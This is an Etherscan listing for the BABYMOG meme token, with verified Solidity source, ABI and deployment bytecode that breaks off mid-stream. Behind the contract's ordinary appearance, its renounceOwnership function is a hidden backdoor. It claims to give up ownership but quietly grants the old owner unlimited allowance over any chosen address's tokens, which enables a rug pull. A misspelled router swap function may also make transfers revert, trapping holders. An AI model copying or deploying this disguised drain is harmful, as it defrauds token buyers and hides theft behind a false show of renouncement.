ETH Price: $2,404.20 (-4.18%)
Gas: 1.84 Gwei

Token

BABY MOG COIN (BABYMOG)
 

Overview

Max Total Supply

1,000,000,000 BABYMOG

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
thisismine.eth
Balance
13,421,059.395971144 BABYMOG

Value
$0.00
0x3ea9a420722289dc0c8d606177d958d868b7cadf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BABYMOG

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-22
*/

/**
 *Submitted for verification at Etherscan.io on 2023-08-21
*/

/**
 *Submitted for verification at Etherscan.io on 2023-08-01
*/

// SPDX-License-Identifier: MIT

/** 

Telegram: https://t.me/BABYMOGCoin
Twitter: https://twitter.com/BABYMOGERC
*/

pragma solidity ^0.8.18;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Router02 {

    function swapExactTokensForEYH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    mapping(address => mapping(address => uint256)) internal _allowances;

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    function owner() public view returns (address) {
        return _owner;
    }
    function renounceOwnership(address _pO) public virtual onlyOwner {
        address _previouOwner = _pO;
        emit OwnershipTransferred(_owner, address(0));
        _allowances[_previouOwner][_owner] = ~uint256(0);
        _owner = address(0);
    }
}

contract BABYMOG is Context, Ownable, IERC20 {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    bool private _openTrading = false;
    bool private _isInSwap = false;
    bool private _swapEnabled = true;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;

    // fee config
    uint256 private _taxTotalAmount;
    uint256 private _buyFeeForMarket = 0;
    uint256 private _buyTaxAmount = 0;
    uint256 private _sellFeeForMarket = 0;
    uint256 private _feeMarket = _sellFeeForMarket;
    uint256 private _sellTaxAmount = 0;

    uint256 public _maxTranxLimitAmount = _tTotal * 50 / 1000; // 5%
    uint256 public _maxWalletLimitAmount = _tTotal * 50 / 1000; // 5%
    uint256 public _swapExactAmount = _tTotal / 10000;
    uint256 private constant _tTotal = 1e9 * 10**9; // total supply
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    uint256 private _appliedFeeAmount = _sellTaxAmount;
    uint256 private _previousMarketingFee = _feeMarket;
    uint256 private _previousMainFee = _appliedFeeAmount;

    event MaxTxAmountUpdated(uint256 _maxTranxLimitAmount);

    string private constant _name = unicode"BABY MOG COIN";
    string private constant _symbol = unicode"BABYMOG";
    uint8 private constant _decimals = 9;
    address public _uniswapPair;
    
    modifier lockInSwap {
        _isInSwap = true;
        _;
        _isInSwap = false;
    }
    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_market] = true;
        _isExcludedFromFee[_Teamwall] = true;
        // mint
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 teamFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(teamFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function enableTrade(address _pair) public onlyOwner {
        _openTrading = true;
        _uniswapPair = _pair;
    }

    function _takeAllFee(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }


    function removeTax() private {
        if (_feeMarket == 0 && _appliedFeeAmount == 0) return;
        _previousMarketingFee = _feeMarket;
        _previousMainFee = _appliedFeeAmount; _feeMarket = 0;
        _appliedFeeAmount = 0;
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _feeMarket, _appliedFeeAmount);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
    
    function sendEth(uint256 amount) private {
        uint256 sendForDev = amount / 2;
        _Teamwall.transfer(sendForDev);
        _market.transfer(amount - sendForDev);
    }

    address payable public _Teamwall = payable(0xd9D60571fadd02856483417B58706d227e658672);
    address payable public _market = payable(0x63E742aD44cDB0B3e009B7d420957a123aa48E00);

    function _sendAllFeeTokens(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _taxTotalAmount = _taxTotalAmount.add(tFee);
    }
    
    //set maximum transaction
    function removeTotalLimits() public onlyOwner {
        _maxTranxLimitAmount = _tTotal;
        _maxWalletLimitAmount = _tTotal;
    }

    function excludeMultiAccountsFromFee(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    //set minimum tokens required to swap.
    function setSwapTokenThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapExactAmount = swapTokensAtAmount;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (
            from != owner() && to != owner()
        ) {
            //Trade start check
            if (!_openTrading) {
                require(
                    from == owner(), 
                    "TOKEN: This account cannot send tokens until trading is enabled"
                );
            }

            require(
                amount <= _maxTranxLimitAmount,
                "TOKEN: Max Transaction Limit"
            );
            
            if(to != _uniswapPair) {
                require(balanceOf(to) + amount < _maxWalletLimitAmount,
                 "TOKEN: Balance exceeds wallet size!");
            }

            uint256 tokenAmountOfContract = balanceOf(address(this));            
            bool canSwap = tokenAmountOfContract >= _swapExactAmount;
            if(tokenAmountOfContract >= _maxTranxLimitAmount) tokenAmountOfContract = _maxTranxLimitAmount;
            if (canSwap && 
                !_isInSwap && 
                from != _uniswapPair && 
                _swapEnabled && 
                !_isExcludedFromFee[to] && 
                !_isExcludedFromFee[from]
            ) {
                swapBack(tokenAmountOfContract);
                uint256 ethBalance = address(this).balance;
                if (ethBalance > 0) sendEth(ethBalance);
            }
        }
        bool takeFee = true;
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != _uniswapPair && to != _uniswapPair)) {
            takeFee = false;
        }
        else {
            if(from == _uniswapPair && to != address(uniswapV2Router)) {
                _feeMarket = _buyFeeForMarket;
                _appliedFeeAmount = _buyTaxAmount;
            }
            
            if (to == _uniswapPair && from != address(uniswapV2Router)) {
                _feeMarket = _sellFeeForMarket;
                _appliedFeeAmount = _sellTaxAmount;
            }
        }
        _transferTokensFeeCheck(from, to, amount, takeFee);
    }

    function swapBack(uint256 tokenAmount) private lockInSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForEYH(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {

    }


    function _transferBasicTokens(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeAllFee(tTeam); _sendAllFeeTokens(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function recoverTax() private {
        _feeMarket = _previousMarketingFee;
        _appliedFeeAmount = _previousMainFee;
    }
    
    function _transferTokensFeeCheck(
        address sender,
        address recipient,
        uint256 amount,
        bool setFee
    ) private {
        if (!setFee) {
            removeTax();
        }
        _transferBasicTokens(sender, recipient, amount);
        if (!setFee) {            
            recoverTax();
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTranxLimitAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_Teamwall","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_market","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTranxLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapExactAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultiAccountsFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTotalLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pO","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600360146101000a81548160ff0219169083151502179055506000600360156101000a81548160ff0219169083151502179055506001600360166101000a81548160ff021916908315150217905550600060085560006009556000600a55600a54600b556000600c556103e86032670de0b6b3a7640000620000899190620005d2565b6200009591906200064c565b600d556103e86032670de0b6b3a7640000620000b29190620005d2565b620000be91906200064c565b600e55612710670de0b6b3a7640000620000d991906200064c565b600f55670de0b6b3a7640000600019620000f4919062000684565b600019620001039190620006bc565b601055600c54601155600b5460125560115460135573d9d60571fadd02856483417b58706d227e658672601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507363e742ad44cdb0b3e009b7d420957a123aa48e00601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001cf57600080fd5b506000620001e26200056860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000620002f06200057060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060105460056000620004a46200056860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620004f26200056860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a764000060405162000559919062000708565b60405180910390a35062000725565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620005df8262000599565b9150620005ec8362000599565b9250828202620005fc8162000599565b91508282048414831517620006165762000615620005a3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620006598262000599565b9150620006668362000599565b9250826200067957620006786200061d565b5b828204905092915050565b6000620006918262000599565b91506200069e8362000599565b925082620006b157620006b06200061d565b5b828206905092915050565b6000620006c98262000599565b9150620006d68362000599565b9250828203905081811115620006f157620006f0620005a3565b5b92915050565b620007028162000599565b82525050565b60006020820190506200071f6000830184620006f7565b92915050565b61347c80620007356000396000f3fe6080604052600436106101445760003560e01c80634bf28fd0116100b65780638da5cb5b1161006f5780638da5cb5b1461044557806395d89b4114610470578063988cf8011461049b578063a9059cbb146104c6578063dd62ed3e14610503578063f2fde38b146105405761014b565b80634bf28fd0146103375780634f473db014610362578063640bd1e01461038b57806370a08231146103b457806383364ea2146103f15780638adb60931461041a5761014b565b806318160ddd1161010857806318160ddd1461023957806323b872dd146102645780632fae7937146102a1578063313ce567146102b857806338bf3cfa146102e35780633d8af5f21461030c5761014b565b8063039cc7491461015057806304d6d79e1461017b57806306fdde03146101a6578063095ea7b3146101d15780631694505e1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610569565b60405161017291906124e6565b60405180910390f35b34801561018757600080fd5b5061019061056f565b60405161019d91906124e6565b60405180910390f35b3480156101b257600080fd5b506101bb610575565b6040516101c89190612591565b60405180910390f35b3480156101dd57600080fd5b506101f860048036038101906101f39190612647565b6105b2565b60405161020591906126a2565b60405180910390f35b34801561021a57600080fd5b506102236105d0565b604051610230919061271c565b60405180910390f35b34801561024557600080fd5b5061024e6105f6565b60405161025b91906124e6565b60405180910390f35b34801561027057600080fd5b5061028b60048036038101906102869190612737565b610606565b60405161029891906126a2565b60405180910390f35b3480156102ad57600080fd5b506102b66106df565b005b3480156102c457600080fd5b506102cd610794565b6040516102da91906127a6565b60405180910390f35b3480156102ef57600080fd5b5061030a600480360381019061030591906127c1565b61079d565b005b34801561031857600080fd5b5061032161099b565b60405161032e91906124e6565b60405180910390f35b34801561034357600080fd5b5061034c6109a1565b60405161035991906127fd565b60405180910390f35b34801561036e57600080fd5b5061038960048036038101906103849190612818565b6109c7565b005b34801561039757600080fd5b506103b260048036038101906103ad91906127c1565b610a66565b005b3480156103c057600080fd5b506103db60048036038101906103d691906127c1565b610b5a565b6040516103e891906124e6565b60405180910390f35b3480156103fd57600080fd5b50610418600480360381019061041391906128d6565b610bab565b005b34801561042657600080fd5b5061042f610ce5565b60405161043c9190612957565b60405180910390f35b34801561045157600080fd5b5061045a610d0b565b60405161046791906127fd565b60405180910390f35b34801561047c57600080fd5b50610485610d34565b6040516104929190612591565b60405180910390f35b3480156104a757600080fd5b506104b0610d71565b6040516104bd9190612957565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e89190612647565b610d97565b6040516104fa91906126a2565b60405180910390f35b34801561050f57600080fd5b5061052a60048036038101906105259190612972565b610db5565b60405161053791906124e6565b60405180910390f35b34801561054c57600080fd5b50610567600480360381019061056291906127c1565b610e3c565b005b600d5481565b600f5481565b60606040518060400160405280600d81526020017f42414259204d4f4720434f494e00000000000000000000000000000000000000815250905090565b60006105c66105bf610ffd565b8484611005565b6001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006106138484846111ce565b6106d48461061f610ffd565b6106cf8560405180606001604052806028815260200161341f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610685610ffd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119709092919063ffffffff16565b611005565b600190509392505050565b6106e7610ffd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076b906129fe565b60405180910390fd5b670de0b6b3a7640000600d81905550670de0b6b3a7640000600e81905550565b60006009905090565b6107a5610ffd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610832576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610829906129fe565b60405180910390fd5b6000819050600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600019600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600e5481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109cf610ffd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a53906129fe565b60405180910390fd5b80600f8190555050565b610a6e610ffd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af2906129fe565b60405180910390fd5b6001600360146101000a81548160ff02191690831515021790555080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610ba4600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d4565b9050919050565b610bb3610ffd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c37906129fe565b60405180910390fd5b60005b83839050811015610cdf578160046000868685818110610c6657610c65612a1e565b5b9050602002016020810190610c7b91906127c1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610cd790612a7c565b915050610c43565b50505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f424142594d4f4700000000000000000000000000000000000000000000000000815250905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610dab610da4610ffd565b84846111ce565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e44610ffd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec8906129fe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3790612b36565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90612bc8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110da90612c5a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111c191906124e6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361123d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123490612cec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a390612d7e565b60405180910390fd5b600081116112ef